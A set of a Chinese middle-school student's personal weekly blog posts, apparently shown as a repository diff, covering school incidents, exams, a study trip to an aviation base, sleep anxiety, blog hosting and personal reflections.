updatedDate: "2024-10-25T21:50:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
## 总述
本周经历了几件令我十分愤怒且无语的事情,包括护犊的老师、煎熬的课间、被困厕所、受伤等。
## 护犊的老师
这件事发生在10月22日早晨,和我并无直接关系,只是对涉及人物的言论表示十分气愤。
早操结束后,我们班前往餐厅门口排队,等候进入餐厅。此时,有一只大马蜂往最后一个同学(我们暂且称之为“史同学”)脸上飞,他躲了一下,并下意识喊了一声“我艹”,那位白衣学生会同学便说要给我们班的量化分扣除0.1。
史同学上前解释,解释过后那位白衣学生会刚打算取消扣分,此时七年级的体育老师(新招来的)从餐厅走了出来。他走到白衣学生会那里,对着她说:“这是我们班XXX。”然后又对史同学说:
> “你一个**九年级该走的人**了,还去为难一个**七年级学生会**?”
事情顿时变得有趣起来了。
1. 没有问有关这件事的任何信息就向着你的学生,这不是护犊是什么?
2. 我们是九年级了,但是少交一年学费了吗?有哪些地方欠你的吗?
3. 七年级的学生会是你的谁?你指望她以后给你养老?真是捧在手心里都怕窝着😅
可能上述言论有点过分咬文嚼字,但是这件事真的让我久久不能平静。
## 煎熬的大课间
这件事发生在10月24日上午大课间。
七、八年级正在进行体育测试,占用着`操场`,此时此刻小学生在`跑操`。我们九年级在做完室内操之后,便前往了教学区楼下的乒乓球台进行激烈的切磋。
有意思的来了:
教导主任从德育处窗口探出头,看起来十分生气。他说:“九一班的赶紧回去,谁让你们出来了!?你们看哪个班像你们这样子?”
于是我们就灰溜溜地回了教室,等待小学生跑操结束(教导主任这么做也是怕我们捡球冲撞到小学生)。等到我们下去打的时候,距离上课只有7分钟了。然而年级主任只允许我们打到上课前5分钟。也就是说:**我们拥有的有效打球时间只有2分钟!**
**白瞎了一个大课间。**
## 被困厕所
这件事发生在10月23日中午午休时。
我在宿舍的厕所里如厕结束后,准备出去,结果发现门把手从内部压到底也无法打开。
这就十分尴尬了……我先是让同寝室的同学帮忙开门,想着“大力出奇迹”,可是全都无济于事。我暂时待在厕所无法动弹。
等到宿管老师来了,我便向她求助。她让我压住门把手用力踹,终于是把门破开了。
有惊无险。
## 受伤
这件事发生在2024年10月24日中午午休结束时。
事情十分简单。我下楼梯有一个习惯,就是一只手扶着楼梯,然后隔一个台阶跳一次,就这样反复地下楼。但是那天就出了个意外,楼梯扶手上似乎有一个倒刺(或者是弯折的铁片),导致出现了这么一个场景:我的身子下去了,手指头还在上面卡着,被硬拽了下来。起初我只是感觉到难以忍受的剧痛,便捂着手接着下楼。走到一楼的时候我张开手一看:左手无名指和小指之间被划了一道3cm长的口子,不断往外渗血。但是医务室还有15分钟才开门。
怎么办?
先用纸包着呗。
用卫生纸包裹伤口有一种很蜇的感觉,让人心里发麻,但是又无可奈何。最后我去校医室抹了碘伏,然后贴了一个创口贴,这件事情就告一段落了。
## 总结
这一周总体心情不太好,事情有点多,学业压力不算太大。顺便提一嘴,由于学校禁止携带具有拍照&录像功能的电子产品,所以我的在校周记永远都是纯文本形式,见谅,下周见。
@@ -0,0 +1,105 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff21c067eb.webp"
title: "答个问卷"
pubDate: "2024-11-30T16:21:00.000Z"
updatedDate: "2024-11-30T16:21:00.000Z"
categories:
- "生活"
tags:
- "问卷"
comments: true
---
## 前言
这个问卷来自[Dayu老师](https://anotherdayu.com/)的[博客作者呀,我想采访你这 9 个问题!](https://anotherdayu.com/2024/5962/)
自2023年我写博客到现在已经一年半了,无意中看到网友们在答这个问卷,所以抽出时间也来回答一下。
根据截止至2024年11月30日我的经历来回答,对于未来情况是否会发生变更我一无所知。
## 问卷内容
```
1. 简单介绍下自己或者你的博客?
2. 什么契机让你开始写博客?
3. 你是如何完成创作的?
4. 运营博客的过程中是否有失去过动力?如果有,是为什么恢复的?如果没有,请问您又是如何保持创作的激情?
5. 如何搭建博客,以及运营博客每年需要投入的资金?
6. 推荐 1 篇你博客中的文章,并推荐一个你喜欢读的博客,聊聊原因。
7. 推荐 1 个近期喜欢的事物?
(例如书籍、电影、音乐、工具、软件。)
8. 想做还没有做的事,或想尝试还没有尝试的主题?
9. 写到这里,闭上你的眼睛,深呼吸几分钟,或是出去溜达一圈,然后回来写任何你想写的东西。
```
## 简单介绍下自己或者你的博客?
我?一名即将进入毕业季的初三学生,一个电脑爱好者。与折腾电脑有关的一切事情我都很喜欢(包括但不限于`软件``硬件`等)。
一开始我做的博客是[路明笔记](https://luming.chgskj.cn/),花了¥99买了CoreNext主题,兴致勃勃地频繁更新一些小白电脑知识。随着时间推移和学业的加重,我逐渐失去了写作灵感,写作内容也从一开始的科技技术转向日常生活为主。由于不能暴露我的学生身份,所以现在我除了科技文章会在[路明笔记](https://luming.chgskj.cn/)上发表,其他的日记都会发表在本站。
## 什么契机让你开始写博客?
契机?其实也不算契机,开始写博客是因为我在公司的软件项目进入了低谷期,想要暂时地丢掉项目换换脑子,于是就在公司拥有了一个基于WordPress的个人博客(也就是前文提到的[路明笔记](https://luming.chgskj.cn/))。刚开始啥也不会,不懂前端,更不懂网站。我也是在看了大佬们的教程之后才学会用WP,写一些突然迸发的想法和灵感。自那以后,我对`网站`的兴趣一发不可收拾。
## 你是如何完成创作的?
先前用WordPress时,我直接用其自带的古腾堡编辑器进行文章的撰写,并搭配[Canva可画](https://www.canva.cn/)进行封面图片设计。
开始使用Typecho之后,说来也见笑,由于Typecho编辑器是基于Markdown的,需要以md代码的形式写好粘贴进去,而我不太懂md,所以就用`uTools`中的`markdown笔记`插件来进行文章的写作,写作完毕后会将其转换为代码粘贴到编辑器中发布。
## 运营博客的过程中是否有失去过动力?如果有,是为什么恢复的?如果没有,请问您又是如何保持创作的激情?
有的。在我运营`路明笔记`期间,我的`用户数量`(访客数量)从未超过1。而那个1,就是我自己。就连我的文章被转载到`蓝屏工作室`公众号上也没多少人看,这对我的写作动力是一个不小的打击。大约自24年7月起,我就停止了`路明笔记`上的文章更新。
至于恢复,来自于朋友[DuckXu](https://i.duckxu.com/)于9月21日在[路明笔记](https://luming.chgskj.cn/friendlinks.html)上的一句评论:
> 我的友链消失力
> 路明老哥真的不打算看一下吗qaq
由于我对DuckXu的博客很少光顾,在当时只记得他用的是Hexo,更新了数篇文章。后来觉得他应该不会坚持下去,便不再关注他的网站了。
但是在他评论那天,我点开了他的博客:顶部一个“自由如风”Slogan和琳琅满目的文章直接就把我吸引住了。原来他自从24年2月就将博客系统换成了Typecho,一直写博写到现在。
这在当时引起了我不小的思考:`他们坚持写博客到底是为了什么?`
直到我大致阅读了DuckXu的文章后,才知道他写的是日常,是生活中随处可见的细碎灵感。看了他的文章,我才领会到——原来博客不只可以用来发正式的博文,还可以用来发随笔类的文章。以及,记录生活确实能给人带来压力的释放和正面的情绪价值。
由于`路明笔记`内不可以对外直接透露我是学生,所以我开始着手策划建立独立站点,用来吐露心声。
但是“`穷`”,对于当时的我是一个不小的阻碍。我积攒了好几个月的零花钱,终于在10月完成了搭建,并频繁更新。现在才知道,被别人理解的感觉,真好。
## 如何搭建博客,以及运营博客每年需要投入的资金?
使用腾讯云Lighthouse 新加坡 2c2g30M99元/年。整体使用Nginx + MySQL(LNMP),博客使用Typecho系统,[PureSuck](https://github.com/MoXiaoXi233/PureSuck-theme)主题。
按照目前的情况来看,近两年我的博客运营一年需要投入137元。不过由于我以前的无知,所以截止至今,我对个人网站的投入资金已超过1000元(我的零花钱啊555……)。
如果两年过后,我薅完腾讯云的羊毛,那么我会选择阿里云278元/年的香港服务器,这样算下来,一年需要投入316元。当然,我认为投资自己的博客是一件很有意义的事情。
## 推荐 1 篇你博客中的文章,并推荐一个你喜欢读的博客,聊聊原因。
我选择推荐`路明笔记`中的[【学生党慎入】如何用一支点读笔实现顺利进厂](https://luming.chgskj.cn/284.html),且不谈内容是否积极向上,这是我唯一一篇阅读量较高的文章。
我喜欢逛[DuckXu的博客](https://i.duckxu.com/),因为他的网站让我感受到了活人气息。是的,在我千篇一律的初三生活中,他的文章让我感受到了除学习以外的乐趣。
## 推荐 1 个近期喜欢的事物?
~~小米手环8,天天翻来翻去从不嫌腻歪~~
emmm,对于我一个寄宿生的话,学校里没有什么东西是我喜欢的。在家……更没有了。
易懂地讲,我并没有什么具象化的事物是值得喜爱的。我喜欢的是⌈`折腾`⌋,包括但不限于`给自己的网站修枝剪叶``翻看自己历史发表的文章和说说`等。
目前的我,活在过去。
## 想做还没有做的事,或想尝试还没有尝试的主题?
有。我一直想买一台`升腾C92`瘦客户机在家里搭建私人NAS或者网站。虽然我知道这小玩意性能羸弱,但是物理上的小服务器总觉得比云服务器用着心里更踏实一点。
## 写到这里,闭上你的眼睛,深呼吸几分钟,或是出去溜达一圈,然后回来写任何你想写的东西。
一句话:
> 我想活在当下,但当下是那么美好又那么让人窒息。
+28
View File
@@ -0,0 +1,28 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff22659659.webp"
title: "小小的触动"
pubDate: "2024-11-15T22:40:00.000Z"
updatedDate: "2024-11-15T22:40:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
本周四晚活动课,我像往常一样打着乒乓球。在接近尾声时,一群小学生吃完饭,排着整齐的队列回班。这时,他们班的班主任老师跑了过来,说了声:”让我试试呗”。
我当时挺惊讶的,因为那位女老师年纪不小,可是她跑起来像是一阵风,仍不失青春的活力。
那是一群三四年级的小孩子们。他们围着球台,不停地为他们的老师加油助威,虽然他们的老师没有赢我一球,但是在他们眼中,他们的老师是最棒的。其实小孩子眼里哪有什么输赢,只是度过了一段难忘的快乐时光。
从他们的笑容里,我看到了那份独属于儿童的天真、可爱、无忧无虑。
老师在不停地驱赶着孩子们,怕他们耽误了这场“比赛”。孩子们非但不怕,反倒一起大喊:“X老师,加油!初中生,漏油!”这些呐喊使我内耗的精神得到了短暂的释放,孩子们的纯真打动了我:想那么多干嘛呢?专注于眼前事,珍惜眼前人才是最好的。
就像《小美满》中的一句:
> 笑就好,哭也好,今天就是明天最好的陪伴。
>
> 笑就好,哭也好,自己就是自己最好的陪伴。
+41
View File
@@ -0,0 +1,41 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff22857fd1.webp"
title: "24年44周记-处分、新服务器、CDN、图床"
pubDate: "2024-11-02T12:32:00.000Z"
updatedDate: "2024-11-02T12:32:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
## 前言
可能是上周吐槽老师遭报应了,我被处分了。本周始终闷闷不乐,依旧忙到飞起。除了学的东西不一样,每天都是千篇一律的。
## 处分
如题,由于我给同学当月老(还是跨年级当月老)导致我“荣获”人生中第一份处分通知单。严重警告处分,为期三个月,如表现良好无违纪行为,可以写书面申请撤消处分。
不过话说回来,这个月的公告栏算是被我们班的处分包场了,一个月出了近10份处分通报,大多数都是A同学,班主任的脸应该挂不住了……
## 新服务器
终于是咬咬牙参加了腾讯云的活动——99元可以买一年的境内/外2c2g服务器。这样一买就一年不用操心了,并且可以享受续费同价一次,何乐而不为呢?
想想上个月买了三个月17.5元/月的服务器就觉得血亏,我的零花钱啊555……
## CDN
并且终于是腾出了点零钱给服务器套了海外CDN,不怕打了(别打我QwQ)厂商是织音云,也是比较熟悉的厂商。我一直在找在国内访问速度也很快的海外CDN,这不,织音做到了。现在我的站在国内访问感觉跟国内服务器一样((
## 图床
终于是按照教程一步步配置好了兰空图床,也把博客内水印变成了暗水印,没有以前那么难看了。
哦对了,顺带提一嘴:博客域名换回 riseforever.cn 了,今后以 riseforever.cn 为主域名。
## 写在最后...
这周心情真的很差,埋在了阴影里。周记写得较为仓促,内容较为粗糙。希望下周会好起来吧。
+51
View File
@@ -0,0 +1,51 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff227ae240.webp"
title: "24年45周记-考试、一声抱歉"
pubDate: "2024-11-08T21:59:00.000Z"
updatedDate: "2024-11-08T21:59:00.000Z"
categories:
- "生活"
tags:
- "考试"
comments: true
---
## 前言
本周依旧是忙到起飞但灵感爆棚的一周。期间浏览了[Duckxu的网站](https://i.duckxu.com/),使我彻夜反思。
## 期中考试
先说考试。估分大概如下:
| 科目 | 满分 | 预估分 |
| ---- | ---- | ------ |
| 语文 | 120 | 100 |
| 数学 | 120 | 110 |
| 英语 | 120 | 114 |
| 物理 | 70 | 65 |
| 化学 | 50 | 50 |
| 政治 | 70 | 55 |
| 历史 | 50 | 20 |
说实话这次的历史卷子给我做破防了。我做历史从来有一个通病:看错题号。外加本次考试还有小论文这一个BUFF,导致我因为时间不够气得把试卷窝成了纸团((挺傻的
化学很有信心是满分,因为监考老师是化学老师,她走到我跟前看了我卷子好久没说一句话,考试结束后从她那得知我有疑问的题目全做对了😁
数学卷子是我班主任出的,算是我这辈子做数学做得最顺的一次,有种『我与班主任意念合一』的感觉。
## 一声抱歉
这声抱歉要说给[DuckXu](https://i.duckxu.com/)。
上周末,由于时间仓促,我照着DuckXu.com的样式1:1复刻出了i.virelyx.com,没有征得他的同意,标题、Slogan等全部都一模一样(懒得放图了),甚至连『关于页面』都一模一样,只是更改了他的名字为我的名字。
为此,他写了一篇[文章](https://i.duckxu.com/archives/copystyleperson.html)对此行为做出讽刺,当天看到之后我就开始自我反省:如果从头到脚连裤衩子都把人家的抄过来,那我写博客干嘛?
于是我就将本站主题及页面重构了,采用PureStuck主题(也挺好看)。
在这里郑重地向DuckXu说一句:对不起,我不应一味地模仿。
## 最后...
近期复习压力紧张,并没有在小本本上记录一些重点事件,因此博文内容略少,后续内容会逐渐上来,敬请期待。
+137
View File
@@ -0,0 +1,137 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff21c987ba.webp"
title: "2024年47周记-记一次研学"
pubDate: "2024-11-23T15:21:00.000Z"
updatedDate: "2024-11-23T15:21:00.000Z"
categories:
- "生活"
tags:
- "研学"
comments: true
---
## 前言
河南航投飞宇航空基地一日游(299元),本期文章含有视频,请坐和放宽,我们出发~
## 出发
早晨6:45,我们集体在校用餐完毕后在行政楼前广场集合。这场研学由青苹果旅游集团承办,因此来了一堆外校的教官和导师。
我们按照车辆分组,我们班所在的车是10号车,分到了一组教官和导师。
不得不说现场真的超级乱,老师们一直整顿到7点20才出发。
## 去途
忽然觉得外出最享受的时刻是去途。在大巴车上,我听着导师滔滔不绝地介绍安全事项和今天的行程,满怀期待地想象着研学的过程得有多美...
<video controls="" src="./weekly-47.assets/5122c1364ff1b79dba6fc8043978bd18.mp4"></video>
## 初来乍到
下车,集合完毕后,老师们便把我们领入了航空基地。这是一个占地面积有我们学校操场三倍的室内场地,刚步入大门,映入眼帘的是空中的一套庞大的滑轨直升机模拟器,以及一个大水池,里面泡着一个汽车,估计是模拟汽车落水的吧((
教官和导师带着我们围绕整个场地逛了一圈,熟悉环境之后,我们就来到了一个舞台前,举行开营仪式。
<video controls="" src="./weekly-47.assets/1847701055894c092a57d0774905ad19.mp4"></video>
(说实话,真的挺像小学生军训……)
## 讲座&开直升机
我们10号车的同学今天安排的第一个项目如果用一句话概括,那就是
> 直升机营救和海姆利克急救法学习,直升机驾驶体验。
我们集体在大门口的滑轨直升机模拟器前席地而坐,为首的教官先给我们传授了高空营救被困人员的知识,举了`搭乘缆车被困`的例子,还邀请了一位同学上前为大家做演示,生动形象。之后的教学也帮我们回顾了海姆利克急救法。当然,也是有同学上前做演示的,不过我没录。
上前做海姆利克急救法演示的同学会被挑选出一组来体验开直升机,我很后悔没有主动上前演示,肠子都悔青了(bushi)。不过有一说一,飞宇航空公司做的仿真模型是真的仿真,这个巨大的滑轨式直升机模拟器不仅可以起飞降落,还可以前进、后退、左右旋转;甚至因为担心没有真实的扇叶会使模型显得很假,所以加入了大功率风扇,模拟出螺旋桨的噪音,极其真实。
<video controls="" src="./weekly-47.assets/6f73525902125c325f92b46b0b5d871a.mp4"></video>
## 机长模拟器
第二个项目是机长模拟器,该项目并无视频资料。
在项目的场地里有两个模拟器舱,看着很像飞船(迫真)。进去之后是飞机的驾驶室,前方和两侧都是全息的屏幕,分辨率奇高,就像在现实一样,但是仅限显示天空的场景时。一将视角移到地面,它那劣质的建模就原形毕露了。真是`吕布骑草履虫`——`白瞎了这么好的硬件`,也不知开发者什么时候能优化一下……
## 知识竞答
在举行开营仪式场地的墙上,排列着各种各样有关飞行器的知识。比如`我国战斗机发展史``2017年世界各国军事资金排名`等。这次的知识竞答,同学们被分为两队,规则是:
> 各自从各自墙上寻找内容来出题,并写到白板上;主持人向对方念题,各队分别派出5个人在10秒内前往对方墙上寻找答案。
九年级对八年级,出的什么题目我忘了,只记得八年级的同学们出的题很简单,九年级出的题十分刁钻。最后我们以2:1的比分战胜了八年级。
另:本场活动的主持人真的是一个控场能力超级牛的man,按捺不住想要写写他。他的言语表达极其流利,吐字极其清晰,在验证答案的时候他会像央视节目主持人一样,先抑后扬,让人心里发痒。
## 午饭
午饭真的是一个槽点。
我们是在基地的员工餐厅里用餐的,七八年级在一楼,九年级在二楼。刚上到二楼时,我看到了一张张旋转餐桌,以为我们吃的是“满汉全席”,最起码也得是个普通水席。正当心里暗爽之时,我定睛一看:桌子上放的居然是盒饭!
算了,谁让它只收299呢,盒饭就盒饭吧。
我们自己挑选好座位落座,但是不能吃饭:这个研学组织有他们自己的“`餐前文化`”,我们需要完成后才可以吃饭。
> “一粥一饭,来之不易;半丝半缕,物力维艰;今我节约,几人保暖;凡我将士,珍物惜源。”
做完这形式主义后,我们才坐下开饭。
午饭是`米饭``小酥肉``番茄鸡蛋``鸡腿`,附加餐有`银耳汤``面包`。不得不说这鸡腿真的没有味道,别的菜还行,小酥肉是真【小】酥肉,肉块很小很小。
不过虽然伙食一般,但是这里的打餐老师的服务态度必须给个大大的赞:毫不吝啬,言语友好。
吃到最后,我拿着面包包装端详着,忽然发现背面有一行字:
> 保质期:3天;仅限本次航班使用。
好家伙合着给我们吃飞机餐呗~因此我们调侃了一句:
> 【航空研学】配航空餐,毫无违和感。
<video controls="" src="./weekly-47.assets/ed4a7ba8466f0291b59cdee4778edb61.mp4"></video>
## 动态舱逃生体验
这里就不得不提到飞宇航空公司生产的另一个高科技仿真设备——[波音737模拟动态舱](https://zt.dahe.cn/2022/11-23/1138066.html)。它可以模拟出飞机起飞、气流颠簸、失事、迫降时的客舱体验。
`机长模拟器`的缺点——视频画质太低。不过这个舱的屏幕分辨率也低,属于一颗耗子屎坏了一锅粥。
这个舱的整体体验很真实,能够完整还原飞机起飞时的推背感和气流颠簸时的感觉。
<video controls="" src="./weekly-47.assets/0818cf705387b3662d07be801e9912c6.mp4"></video>
## 静态舱逃生教学
顾名思义,静态舱就是不会动的仿真机舱。在这里有一位男老师给我们讲解了有关飞机座位靠前靠后的差别、飞机乘坐的注意事项以及飞机上出现意外的应对措施等,收获还算可以吧()
<video controls="" src="./weekly-47.assets/c1a103545a88a129a678971679370a14.mp4"></video>
## 制作发动机
我们在一间教室里学习了发动机的历史,以及中国航空发动机之父——吴大观。
我们每张桌子上都有一个电动涡扇发动机,老师指导着我们进行拆卸,了解发动机工作的原理。
<video controls="" src="./weekly-47.assets/9c4d675d8908b297dd2a73b785102afa.mp4"></video>
## 应急逃生滑梯体验
最后一个设施是一个两层楼高的飞机机身,往外延伸出一个宽约2.5m的充气滑梯,据说这个是真的应急逃生滑梯,我也没去验证。飞机上应急逃生滑梯很贵,如果无缘无故开一次得赔10+w(包括了耽误航班的赔偿和手工返厂折叠费),因为这个滑梯是纯手工折叠的,并且用的是耐高温耐磨的材料,因此每次开启都得返厂进行折叠。
这里分享下第三人称和第一人称的视角:
<video controls="" src="./weekly-47.assets/17d3290abc756c123b9ec95b021f636c.mp4"></video>
## 总结
至此,本次研学的全部环节已进行完毕。回想一下,本次研学,我学习了从民航客机到歼-20战斗机的发展史,学会了客机出上现意外时的应对措施,重温了海姆利克急救法,开阔了视野。
下午四点,启程返校,六点半到校。路上有美丽的晚霞,但是4GB的内存卡已经录满,没能捕捉到这一瞬间。
在吐槽要求严格的同时,我也思考了:我们生在这个时代,在课余能有丰富的研学活动可以报,相对于过去的人们不已经很幸福了吗?
但是过分的形式主义确实耽误了我们不少时间。总的来说,这次研学,不好,也不坏。
+71
View File
@@ -0,0 +1,71 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff231143b6.webp"
title: "24年48周记-论睡眠焦虑、发热、OASIS、矛盾"
pubDate: "2024-11-29T13:45:00.000Z"
updatedDate: "2024-11-29T13:45:00.000Z"
categories:
- "生活"
tags:
- "游戏"
- "睡眠"
comments: true
---
## 前言
本周我再次出现了睡眠焦虑的情况,并且突如其来的发热整得我不知所措。
## 睡眠焦虑
> 仅代表个人观点,如有不妥敬请指出。
> 上百度一查,居然真有睡眠焦虑症这一说,并且情况和我的极其相似,可以[点此](https://baike.baidu.com/item/睡眠焦虑症/6518801)进行了解。
众所周知,手环都有一大核心功能——睡眠监测。通过此功能,我们可以轻松地查看昨晚的睡眠时长、入睡时间、醒来时间和睡眠片段分布情况。
然而就因为它检测得太详细了,导致我在校每早都会忍不住看看昨晚几点睡着的。比如昨天我睡得很早,那么今天我就会精神百倍,并且今晚会想着“一定要像昨晚一样睡得早”,精神高度兴奋紧绷,所以就会一次次地导致失眠。
出现这种情况其实可以理解,因为我是学生,平常在学校唯一能接触到的电子产品只有手环,所以会时不时地想通过手环来看看自己的所谓【身体状况】。手环的这些功能其实对于【未成年人】来说并没有什么意义,某些功能甚至会给精神上造成压力。
譬如【运动状态】中的【恢复时长】功能。在日常运动过程中我会习惯性打开手环的运动功能,但是总是在运动结束后忘了关。这就会导致运动消耗量被误判得巨大,恢复时间也由0小时变成了40,80,甚至90小时,每每看到这个时间,身体就会觉得无力,虽然这个数字是【假的】。
我们学校有很多人也戴智能穿戴类产品,这些产品也都具有睡眠监测功能,但他们克服了睡6眠焦虑这一问题。我曾询问过他们是如何解决的,并得到了以下答复:
> 以前睡觉的时候我总是看手环时间,心里想“这么晚了我还没睡着…”,导致我频繁失眠。于是我就在睡前把手环放到宿舍垃圾桶的旁边,也就是在床上伸手够不到的位置,这样就不会想着看时间了,同时因为没有了时间意识,入睡的速度也快了很多。
总结一下就是,在睡前把手环这类让自己兴奋的电子产品放到无法触及的地方,大脑就不会去想有关时间的事情了,入睡也更快。
> 睡眠监测产品,对部分人群其实是妨碍睡眠的主要原因。
## 发热
上次发热已经是两个月以前了。本周四下午最后一节历史课上,我感觉头部越来越沉重,自知不妥,便量了体温——37.4℃。由于我们学校本周刚通知了新政策——学生凡是患有疾病的,必须请假回家,并出示二级及二级以上医院的康复证明才可返校。所以我就请了假,于周四晚7点20离校回家。
漏说了一点,我在第四节课的时候量出37.4℃,在晚自习前又量出了37.8℃和37.9℃两个结果。
回家之后去小诊所开了药,这次的药居然换新的了,吃了也很起效,当晚就不烧了。
## OASIS
是一款由AI驱动的Minecraft,体验过后感觉大模型真的很强了。
游戏整体感觉:和梦一样。就是眼前的场景眨一下眼或者看一下别处就会变,只有脚下的路是真实的。甚至有时候挖掉脚下的方块会被判断成从高处掉落。不符合直觉,但符合逻辑。
印象深刻的是在我旁边有一只鸡,当我靠近它的时候它又变成了羊。真就像发烧时候做的连环梦,你永远不知道这个世界下一秒会发生什么。
当然也推荐大家去体验体验:[OASIS](https://oasis.decart.ai/)
## 矛盾
以下文本可能缺乏逻辑,但是我实在想吐槽一下。
家丑不可外扬,所以点到为止。
> 我希望有一个独处的环境可以做任何自己想做的而不被打扰,但父母之间的摩擦总是令人无语且头大。从某种程度上讲,父亲很“幼稚”,什么事情都想和母亲杠一杠,不知道为什么。甚至有时母亲一句平常的请求都会被反呛回去。
>
> 这样的生活我已经历过无数次了,可是父亲居然让我”忍忍“。
>
> 无语。我不要做一个随波逐流的人。我需要去要制止。这样的生活让我很不爽,该出手时就要出手。
## 写在最后..
往后我会写一些有价值的文章,希望能够帮助到大家。
+96
View File
@@ -0,0 +1,96 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff225a5d20.webp"
title: "24年49周记-自问自答"
pubDate: "2024-12-07T12:10:00.000Z"
updatedDate: "2024-12-07T12:10:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
## 前言
本周花了四天时间思考了两个问题,也算是把自己抽象的心结具象化,然后一一解决掉了。
```
1.我到底是在为谁写作?
2.为什么“无限进步”对我来说感觉是耻辱?&&我为什么觉得自己配不上重点高中?
```
本文由手写笔记二改而来,手写笔记上可能会有部分句子出现逻辑错误,欢迎指正。
## 我到底是在为谁写作?
为我自己。
我从小学到现在写的所有考试作文得分都很高。但是它们都有一个共同点——都引用了我小时候经历过的同一件事(如钢琴考级、钢琴比赛),一件事反反复复造出n篇文章。
可以这么说,从我小学之后到创建博客之前,我从未细致观察过生活。我很少主动发现生活中的美好(或是说经历过美好后会很快忘记,毫无痕迹),因此总是以悲观的眼光看世界。而`创建博客`可以看作我立志要做出改变。
这个问题其实也来源于DuckXu曾和我说的一句话:
> 每周都是千篇一律,没啥好写的。
于是他降低了写作频率。
一开始我想:“那么我如果坚持下去一周一更,给自己这个压力,不就是为别人而写作了吗?”
“难道是为了向别人无病呻吟、给别人看我无聊的日常而写作?”
恰恰不是。
首先,如Dayu老师所说,写一篇博客,就是跟未来的自己约会。我现在所写的,都是我将来细细品味的,那是我的青春啊。
其次,学校的生活虽然千篇一律,如同固定的模式,但是每天经历的事肯定会有所不同。静下来想想,每天总会有不一样的,哪怕不一样的只是所学的知识呢。
再次,我写周记也不完全是为写而写,大部分是想让自己清晰地看到自己上周做了什么,没有虚度光阴。当然,这并不代表不写周记就是虚度。
等到成年后,青春时的一段段稚嫩的文字恐怕会让我热泪盈眶:年少的我,是那么无知、那么快乐……
## 为什么“无限进步”对我来说感觉是耻辱?
“无限进步”这个词是100%褒义的,他寓意着一个人不断攀升至更高的境界。但是我一直觉得我不配被用这个词来形容。欲深究其原因,就得从我小时候的经历说起了。
自打我上小学起,班里的同学就非常卷。同学们有的在二年级就开始报名`平行线奥数班`(官网[zzpxx.com](https://www.zzpxx.com/))。这个辅导机构在本地无论是当时还是现在都是很领先的。当时我和家长并不知道有这么个东西,因此并没有报名,但我的数学成绩在班里还是名列前茅。到了四年级,母亲听说了`平行线`之后便火速为我报了名。我在平行线内的成绩也很好,只是母亲在那之后经常在我耳边提一句:
> 我们本来就比人家晚上了两年……
起初我对这句话不以为然,直到小学五年级都保持着优异的成绩。但是五年级的某次数学小考打破了沉寂——由于最近贪玩,我只得了68分/100分。这使得母亲顿时不淡定了,马上给我加报了一个`三年级`得平行线数学班。 你没听错。母亲在我`五年级`的时候给我报了个`三年级`的数学班(线上课)。我到现在都不理解这种行为的动机,因为我三年级的数学知识并没有任何漏洞。
在这个`三年级`的班里,我实力超群,课堂上每次回答问题都会比三年级的同学们快好多,可以说是`降维打击`。因此,老师渐渐地放松了对我的管理,课堂上也不再提问我,渐渐地我貌似被忽视了。
而在当时,三年级的这个班是我认为最没用且最不想上的。谁成想母亲不同意我退课,根本说不通。
所以,自那时起,我养成了`网课摸鱼`的习惯——`Classin`(一款网课软件)的强制全屏机制是有BUG的,在当时通过调节屏幕方向可以很轻松地将其卡为小窗口。于是我就在这个小窗口后写代码(当时我很迷恋VBScript,喜欢去写一些弹窗类的小玩意)、玩游戏。因为电脑配置太低,游戏后来也不玩了,纯写代码。这也为我后续的编程思维打下了不少的基础。
当时的我深知这种行为是恶劣的,但在当时,`网课摸鱼`是我唯一能同母亲对抗的途径。因此,在当时只要是母亲强加给我的不必要的辅导班网课,能摸的我都摸了,乐此不疲。我的许多软件作品和文章甚至都是在摸鱼时创作出来的。摸鱼对我来说就是一个专注时段,因为母亲的思想问题,当时的我在家并没有权利去做除学习以外的与电脑有关的任何事。而网课摸鱼,就相当于给了我两小时,让我能够酣畅淋漓、专心致志地研究两小时电脑。
但……已经养成的恶习,要戒掉还有那么简单吗?不。网课摸鱼,就像毒品一样控制着我的行为,我逐渐由只在不想上的课中摸鱼,转向了所有辅导班。
当然要说理由也有,因为初中的双休日很短,我们`周日下午两点`就要到校,而我在这短短的一天半时间里,被排了`物理``数学``英语`三门辅导班,剩下的时间只要我有空余,母亲就会让我去看辅导班发布的自学视频。这导致我的周末时间被分割成了很多片段,根本无法在家里静下心来做一件事。
很庆幸,母亲的思想在初二转变了过来。她给予我折腾项目的权利,并且给我减掉了`化学`辅导班。从那以后,我就逐渐戒掉了这个恶习。
虽然摸鱼这件事对我的学习几乎没有任何影响(当然,这些辅导班也没有对我的学习产生正面影响,我的成绩一般都在100&110分以上),但是长期以来的这种行为给了我一种`强烈的负罪感`。即使现在,我在辅导班上听得再认真,互动得再积极,也无法减轻这种感觉。它就像丧钟一样,让我的脑子里每天充斥着一个想法——“我本来就比别人晚起步,还不努力,就是个废物”。这种想法促使我对做任何事产生了“我不配”的自卑心理,以及【我烧钱】【我不孝】【我低人一等】等一系列观念。因此我在初中并没有开一个好头,我不断地讨好别人,使我受了不少欺负,“我不配”的心理反倒加深了。
而这两个问题其实指向的是同一个问题——“我不配”的心理。因为我觉得“我不配”,所以当我取得任何成就时,以及我做任何无意义但能让自己快乐起来的事时,会非常沮丧。当我成绩进步时,我并不会开心,反而会懈怠,进而退步,仿佛“那就是我应该得到的”。甚至初中的有些学科我都没有迈出第一步,导致其成为拖后腿的科目。
因此,在我看到一些朋友的博客上写着“无限进步”,想要将其作为自己的Slogan时,我的潜意识会瞬间告诉我:你不配。因为与别人比,我并不总在进步。
---
好啦,说了这么多原因,还没有说解决措施。我想对自己说的是:
不要活在过去,活在当下和未来。即使过去犯了再怎么严重的错,即使取得了再光辉的荣誉,也已经过去了。我现在要做的就是接纳现实,不论过去,不问将来。认真做好我该做的事,内耗什么的,通通去他的吧!
## 后记
这两个问题是我周二晚上在老师说了某句话时想到的,于每晚晚自习空闲的10~15分钟进行撰写。
如果你有兴趣,可以来看看原稿:
